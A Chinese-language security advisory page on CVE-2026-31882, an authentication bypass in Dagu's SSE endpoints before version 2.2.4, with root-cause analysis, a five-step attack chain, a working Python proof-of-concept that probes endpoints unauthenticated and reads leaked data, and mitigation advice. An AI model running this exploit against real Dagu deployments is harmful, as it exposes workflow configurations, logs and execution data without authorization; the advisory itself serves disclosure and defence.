IPBUF安全漏洞报告
English
CVE-2026-31882 CVSS 7.5 高危

CVE-2026-31882 Dagu工作流引擎SSE端点认证绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-31882
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dagu

相关标签

认证绕过SSE端点工作流引擎DaguCVE-2026-31882权限控制缺陷信息泄露

漏洞概述

Dagu是一款内置Web用户界面的工作流引擎。在2.2.4之前的版本中,当Dagu配置为使用HTTP Basic认证模式(DAGU_AUTH_MODE=basic)时,所有Server-Sent Events(SSE)端点存在严重的认证绕过漏洞。攻击者可以在无需任何凭证的情况下访问实时DAG执行数据、工作流配置信息、执行日志以及队列状态等敏感信息,成功绕过REST API的认证保护机制。该漏洞源于buildStreamAuthOptions()函数在认证模式为basic时,返回的auth.Options结构中BasicAuthEnabled被设置为true,但AuthRequired字段默认为Go语言的零值false,导致认证中间件错误地允许未经认证的请求通过。

技术细节

漏洞根本原因在于Dagu框架中SSE/流式端点的认证选项构建逻辑存在缺陷。buildStreamAuthOptions()函数在处理basic认证模式时,返回的auth.Options结构体配置不当:虽然启用了BasicAuthEnabled标志,但AuthRequired字段保持为false(Go语言默认零值)。在internal/service/frontend/auth/middleware.go中的认证中间件会根据AuthRequired字段决定是否放行请求,当该值为false时,所有请求都被允许通过,无需任何凭证验证。攻击者只需构造针对SSE端点的HTTP请求(如访问/dagu/sse或相关流式API端点),即可在未提供认证信息的情况下获取敏感数据。攻击成功的前提条件是目标Dagu实例配置了basic认证模式且SSE端点暴露在网络中。

攻击链分析

STEP 1
步骤1
识别目标:扫描互联网或内网中运行Dagu工作流引擎且配置了DAGU_AUTH_MODE=basic的实例
STEP 2
步骤2
探测端点:尝试访问Dagu的SSE端点(如/dagu/sse、/api/sse等),发送不带任何认证信息的HTTP请求
STEP 3
步骤3
绕过认证:由于buildStreamAuthOptions()函数的缺陷,SSE端点会错误地允许未认证请求通过
STEP 4
步骤4
数据窃取:通过SSE流获取实时DAG执行数据、工作流配置信息、执行日志和队列状态等敏感信息
STEP 5
步骤5
持久化利用:持续监控SSE流获取工作流的完整执行流程和敏感配置,可能导致更大范围的信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-31882 PoC - Dagu SSE Endpoint Authentication Bypass # Target: Dagu < 2.2.4 with DAGU_AUTH_MODE=basic def check_sse_auth_bypass(target_url): """ Check if SSE endpoints are accessible without authentication when basic auth mode is configured. """ sse_endpoints = [ "/sse", "/api/sse", "/stream", "/api/stream", "/api/v1/sse", "/api/v1/events" ] print(f"[*] Testing SSE endpoints on {target_url}") print(f"[*] CVE-2026-31882: Dagu SSE Authentication Bypass\n") for endpoint in sse_endpoints: url = target_url.rstrip('/') + endpoint try: # Send request without any authentication response = requests.get(url, timeout=10, stream=True) # Check if we get SSE data or auth is bypassed if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text/event-stream' in content_type or 'text/plain' in content_type: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Content-Type: {content_type}") print(f" SSE endpoint accessible without authentication!") # Try to read some data try: response.raw.read(100) print(f" Data leak confirmed!") except: pass print() return True elif response.status_code == 401: print(f"[-] Protected: {url} (401 Unauthorized)") else: print(f"[?] Unknown: {url} ({response.status_code})") except requests.exceptions.Timeout: print(f"[!] Timeout: {url}") except Exception as e: print(f"[!] Error: {url} - {str(e)}") print("\n[*] No vulnerable SSE endpoints found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-31882.py <target_url>") print("Example: python cve-2026-31882.py http://localhost:8080") sys.exit(1) target = sys.argv[1] check_sse_auth_bypass(target)

影响范围

Dagu < 2.2.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)使用防火墙或网络访问控制列表(ACL)限制对Dagu实例的访问,只允许受信任的IP地址访问;2)配置反向代理(如Nginx)添加额外的认证层;3)禁用HTTP Basic认证模式,改用其他认证机制;4)监控SSE端点的访问日志,及时发现和阻止未授权访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表